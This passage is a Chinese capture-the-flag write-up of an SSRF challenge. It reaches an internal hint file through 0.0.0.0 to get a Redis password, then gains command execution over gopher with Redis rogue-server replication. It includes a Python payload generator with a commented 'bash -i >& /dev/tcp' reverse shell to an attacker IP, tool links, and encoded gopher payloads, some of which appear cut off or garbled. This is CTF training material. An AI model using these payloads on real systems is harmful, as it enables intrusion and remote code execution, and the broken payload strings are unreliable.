先不扯皮,下面开始步入正题
首先, 这题打开是这样的:
<?php function check_inner_ip($url) { $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); if (!$match_result) { die('url fomat error'); } try { $url_parse=parse_url($url); } catch(Exception $e) { die('url fomat error'); return false; } $hostname=$url_parse['host']; $ip=gethostbyname($hostname); $int_ip=ip2long($ip); return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; } function safe_request_url($url) { if (check_inner_ip($url)) { echo $url.' is inner ip'; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); if ($result_info['redirect_url']) { safe_request_url($result_info['redirect_url']); } curl_close($ch); var_dump($output); } } if(isset($_GET['url'])){ $url = $_GET['url']; if(!empty($url)){ safe_request_url($url); } } else{ highlight_file(__FILE__); } // Please visit hint.php locally. ?>
然后利用http://0.0.0.0/hint.php 绕过check_inner_ip() 函数的检测:
string(1342) " <?php if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ highlight_file(__FILE__); } if(isset($_POST['file'])){ file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']); }
"
拿到密码是root;
接下来注册一个小号,因为buu的题目不在外网,所以一般用小号开启buu Basis类的Linux Lab
用xshell连接,连接主机为node3.buuoj.cn,端口号就是后面的27973,不过此时我的端口号是26773;
接下来本地下载好两个工具,用xftp上传到root目录下(这里目录不固定,可以随意发挥),工具链接如下:
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
我这里为了方便把第二个工具中的exp.io复制到了第一个工具下,然后开启rogue-server.py 启动之后用于伪装为主redis,不过这个启动过程一连上就容易断开,可以写个死循环shell脚本跑rogue-server.py ,不然可能导致exp.so都没传完就中断了。
我这里写的test.sh文件:
test.sh的代码:
while [ "1" = "1" ] do python rogue-server.py done
运行截图是这样的:
改了一下ssrf-redis.py文件脚本(这里参考的别人的脚本)参考的博客链接我会贴在最后,里面的lhost,lport别忘了改成此靶机Linux Lab的ip;
# 使用方法就是分三次生成payload (dirty hack ,打开每次cmd 里面的注释)。 from urllib.parse import quote def redis_format(arr): CRLF = "\r\n" redis_arr = arr.split(" ") cmd = "" cmd += "*" + str(len(redis_arr)) for x in redis_arr: cmd += CRLF + "$" + str(len((x))) + CRLF + x cmd += CRLF return cmd def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"): exp_filename = "exp.so" cmd = [ # 第一次 # "CONFIG SET dir /tmp/", # "config set dbfilename exp.so", # "SLAVEOF {} {}".format(lhost, lport), # 第二次 # "MODULE LOAD /tmp/exp.so", # 第三次 "system.exec {}".format(command.replace(" ", "${IFS}")), # 这里有个细节就是使用${IFS}代替参数中的空格,因为上面的redis_format函数会根据空格来进行分割命令和参数 # "system.rev 174.2.6.11${IFS}2333", # "SLAVEOF NO ONE", # "CONFIG SET dbfilename dump.rdb", # "system.exec rm${IFS}/tmp/{}".format(exp_filename), # "MODULE UNLOAD system", "quit", ] if passwd: cmd.insert(0, "AUTH {}".format(passwd)) return cmd if __name__ == '__main__': #攻击机ip: lhost = "174.2.6.11" lport = "21000" passwd = "root" command = "cat /flag" # command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1" cmd = generate_rce(lhost,lport,passwd,command) rhost = "0.0.0.0" rport = "6379" payload = 'gopher://'+rhost+":"+rport+"/_" a = "" for x in cmd: a += redis_format(x) payload += quote(redis_format(x)) print(a) print(payload)
用这个生成payload,第一次的payload:
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%240D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2413%0D%0A172.16.128.66%0D%0A%%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
生成的payload最后的%0D%0A这一小段可以去掉(图片上半框中选中的一小截),没什么用;由于题目中还使用了curl ,所以需要对payload 进行二次url 编码,这个在线编码工具还不错:http://www.jsons.cn/urlencode/
在web中写入后:
接下来,第二条payload:
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
同样进行二次url编码:
web写入后,cat /flag成功执行,拿到flag,题目完成:
说实话,这个题拿到flag的是时候我还是有点懵逼的,可能是原理还没了解透的原因,所以写的步骤方面多一些,原理方面基本没有提及,写完这篇后我再去研究研究。。
没错,就是这么简简单单的几个步骤,我做了两周。。。不过刚来不久的老乡同事郑大哥倒是很快做了出来,在他和上文中的曹师傅的帮助下,我花了短短两周终于拿到了flag!!!苍天有眼啊!至少这句话我不用完成了。。
这里给这两位大佬一个致谢,都是未来网络安全行业的大佬啊。
参考博客:
https://blog.csdn.net/qq_41891666/article/details/107103116
https://blog.csdn.net/weixin_43610673/article/details/106457180
https://blog.csdn.net/qq_36438489/article/details/106538473
https://www.jianshu.com/p/a940731cddaf